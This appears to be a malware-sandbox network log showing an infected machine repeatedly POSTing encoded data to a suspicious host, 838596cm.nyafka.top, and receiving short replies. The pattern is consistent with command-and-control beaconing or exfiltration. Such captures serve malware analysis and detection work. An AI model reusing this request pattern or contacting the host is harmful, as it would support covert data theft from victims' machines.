Jan 8, 2025 17:14:21.379425049 CET	2532	OUT	Data Raw: 50 50 5e 5e 59 59 56 59 5e 5f 57 54 56 5b 59 5f 57 56 58 52 50 5b 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP^^YYVY^_WTV[Y_WVXRP[VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z*+(0%>.'()5Z>2']"P)!'X>Y !-<.#_&'P-3
Jan 8, 2025 17:14:21.474765062 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:21.632253885 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hd8F5czzqpD5dfhKDxcPDB9mML1BEU5A84ScRY8SWpPzQcbDaie1whiRal19s%2BOBTXpJ32FA2J3VuxkqpL4r%2B4u7q2xXiiLI8PM647btHetwTOyujj%2FIrrJVQtyW%2B3N%2B5RFWQ9q%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ae7e9d7729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3873&min_rtt=2012&rtt_var=4478&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=86354&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	50091	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:21.761374950 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:22.114376068 CET	2532	OUT	Data Raw: 50 57 5b 54 59 58 53 58 5e 5f 57 54 56 57 59 5e 57 55 58 5c 50 54 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[TYXSX^_WTVWY^WUX\PTV][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<<$#[=[5;4Y?>%[)&3;!?1;_< "(9?#_&'P-
Jan 8, 2025 17:14:22.226757050 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:22.402900934 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bp263HCd85oE9g1nrHydcd47v43zL1Gs1VJHKkj0U4DjGh0cF04Y3GsVNvzAE1cMOGzva7xDvj%2BhXz9jVVQn6ula1dNIdbWF7i50pDFGgMTCepu0iciBZOOWl5imExm9xLUYc4PV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7aec982b729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9949&min_rtt=2002&rtt_var=16644&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=22263&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	50092	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:22.531862020 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:22.879308939 CET	2532	OUT	Data Raw: 55 52 5b 55 59 58 56 5f 5e 5f 57 54 56 5a 59 5c 57 53 58 5b 50 5e 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UR[UYXV_^_WTVZY\WSX[P^VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?+/33=)8?X)")]!$8"V+"'(/<";X9#_&'P-7
Jan 8, 2025 17:14:23.009356976 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:23.240482092 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aKmYQsgiYjS8TMRaxGpiAzWIPqSzla0GrQfDMb8iPCXkN%2BK%2FjqK9e8mnnV3Nn2qQW7tRwyRkW%2F3HC4zhWptSiyNyOu3Gtiz0IGGK%2B8HiGY6OZcXcRgJyXeKHK1xGfamd6A6FArL7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7af17a88727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3984&min_rtt=1986&rtt_var=4741&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=81228&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	50093	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:23.369513035 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:23.723109961 CET	2532	OUT	Data Raw: 50 55 5b 53 59 5e 56 52 5e 5f 57 54 56 5d 59 53 57 56 58 5b 50 55 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PU[SY^VR^_WTV]YSWVX[PUV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ 8'#=[,'Y=2"$(9+13X=?(5_:?#_&'P-+
Jan 8, 2025 17:14:23.820741892 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:24.053936958 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TC4t6pf2Gz7mNS5CyyhKH88ollwEdIwmSF5YrUe4vSiOdYh%2BwVOFd5XpCt6zMgDxbUKdGjTX3xBKmaiHkd6%2FHDJqi8kGZY8pYp5q5PRoaFMLtt0POQ8%2FqUVB9m6PChtRz6qLVLqt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7af69eeec34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3026&min_rtt=1521&rtt_var=3581&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=107629&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	50094	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:24.073304892 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:24.426218987 CET	1852	OUT	Data Raw: 50 51 5e 52 59 59 56 58 5e 5f 57 54 56 57 59 58 57 56 58 5a 50 5d 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^RYYVX^_WTVWYXWVXZP]V][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^+3X002Y*".$'X)X=]);5'(-+;(/([6#].#_&'P-
Jan 8, 2025 17:14:24.535978079 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:24.698156118 CET	950	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=88cS9HivVR0i9w5PIt5g3TB1NCdjgmTWHr0IVaR2kzKcQ84K0kp9yjkMoUkBDwceHR3f3shvNqs4WcZgMAVJPidL6UMaVmcSm6mPdvvLPDEcWcDpViDX6yeTyC3P9au6R%2Fm3izli"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7afb09e6424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7870&min_rtt=1650&rtt_var=13060&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=28395&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 57 30 3e 37 00 37 28 21 13 3f 04 23 1d 2a 33 3a 59 2d 07 30 11 26 34 20 14 26 12 28 5a 23 2f 3a 01 2b 38 07 12 27 50 2b 0d 2b 2b 20 5c 04 1f 24 14 3c 16 00 0a 2a 2f 3a 5f 24 20 25 5b 31 33 24 11 27 3d 33 59 27 5f 22 56 34 29 20 0f 38 55 26 57 2f 28 24 1e 28 27 28 12 24 04 2f 50 0f 10 3b 0b 2d 07 3b 58 22 1f 3e 56 36 0a 37 13 20 35 01 02 29 03 0d 16 22 01 00 04 33 0d 39 53 37 31 20 0c 24 23 33 17 3f 57 2c 52 2a 23 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$W0>77(!?#3:Y-0&4 &(Z#/:+8'P+++ \$</:_$ %[13$'=3Y'_"V4) 8U&W/($('($/P;-;X">V67 5)"39S71 $#3?W,R*#$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	50095	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:24.363442898 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:24.707474947 CET	2532	OUT	Data Raw: 55 55 5e 57 5c 58 56 5d 5e 5f 57 54 56 56 59 59 57 51 58 58 50 5d 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^W\XV]^_WTVVYYWQXXP]V\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(+43:=\.$?>513*R+"/=?85-4-#_&'P-
Jan 8, 2025 17:14:24.820769072 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:25.201282978 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kZu4gXp%2B6rDyFwUrwbgTLrdIjDkQofWDhPf3Qp%2FtKn2SdUsPt5mZDSq%2BhnHsvRZtkWae40w%2FfJAVBGnW0j18Jv7naaAV16V5m9aMolJNxM%2BQxhGfkkIBhyH4M8HN0N%2FI65wcIp0r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7afcde85c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3086&min_rtt=1496&rtt_var=3741&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=102686&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	50096	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:25.338285923 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:25.691873074 CET	2532	OUT	Data Raw: 55 55 5b 50 59 51 56 5b 5e 5f 57 54 56 5b 59 53 57 53 58 5f 50 54 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU[PYQV[^_WTV[YSWSX_PTVX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^?( %3)=)[80)%*8:0;)<"X(?" ./#_&'P-3
Jan 8, 2025 17:14:25.779170036 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:26.020885944 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cHdx%2B4zXJA9hxYEmMnEaA20prLHXUXGwMrieMnnPYEQ0IXlFf%2FspE9UHU56b94vjC9uAkZ1Uw4ad4Y8ZlwG5Z%2BKJSBj4GUm4zfZatK72GFmtkaj9ji6srHGfJWn3svnTh04tKfCf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b02dea4424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2075&min_rtt=1561&rtt_var=1614&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=257223&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	50097	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:26.203778982 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:26.551230907 CET	2532	OUT	Data Raw: 55 5c 5e 50 59 5a 53 5f 5e 5f 57 54 56 58 59 52 57 52 58 52 50 55 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^PYZS_^_WTVXYRWRXRPUV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+/^$01>>%\;4$>Z)+23"<2 =?0]"-<:#_&'P-?
Jan 8, 2025 17:14:26.649157047 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:26.887644053 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ms5LCSQYgnCwXfopP2SjXS5x8LVuHLnC%2FjaGw41cqFZZJnpe2jbq5Dki%2FYRfNrgB0HkGc%2F2d%2BjEPJOhCW8QhzCO8Cp6tyRydn6JkXLzkK9GzASv%2FMuItVHKDTlvcv6gBbONFsV3W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b084a47727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3453&min_rtt=1989&rtt_var=3674&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=106538&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:14:26.974225998 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	50098	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:27.104093075 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:27.457564116 CET	2532	OUT	Data Raw: 50 50 5e 50 5c 58 53 5b 5e 5f 57 54 56 58 59 52 57 51 58 5b 50 5d 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP^P\XS[^_WTVXYRWQX[P]V^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<;?^3:>)];+])!>85Z'(:S+(=?4\".;-?#_&'P-?
Jan 8, 2025 17:14:27.576348066 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:27.736857891 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KLQ83zgiehOB%2BezWTcvZYfWiFvjffDNXQ9ayeruDbnO97lteMcdLaHdSRu%2FiTr7eZGnD9T8LmYpXl1mdWg8AmpKtXIyQfCJhqsn3ZkdK6gvMAQiTVyEMC5Xx%2BWmrYUKDogm%2F4Te0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b0e0f4c43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3029&min_rtt=1614&rtt_var=3435&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=112872&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	50099	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:27.875309944 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:28.223128080 CET	2528	OUT	Data Raw: 55 5d 5e 57 59 59 56 5f 5e 5f 57 54 56 5e 59 58 57 5f 58 58 50 5a 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U]^WYYV_^_WTV^YXW_XXPZVZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?(33"X>;7?\=.>)86$>V(8*5.;.#_&'P-/
Jan 8, 2025 17:14:28.318521976 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:28.568339109 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UMHf2Glq1gP5MLpkD%2FvEMKKphjq2LM2w3Yq6Mz1nWWyXamm%2FDUbmJ8Sc7Q%2FNajG2b%2BXHCFZUHcDDxcGxJ3aq7S121hRAz55C%2BuQCb%2BqiOLaiDWK6tNFRcQXbS3iunbmMetttkZn%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7b12be9343b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3252&min_rtt=1575&rtt_var=3946&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=97346&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	50100	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:28.695310116 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
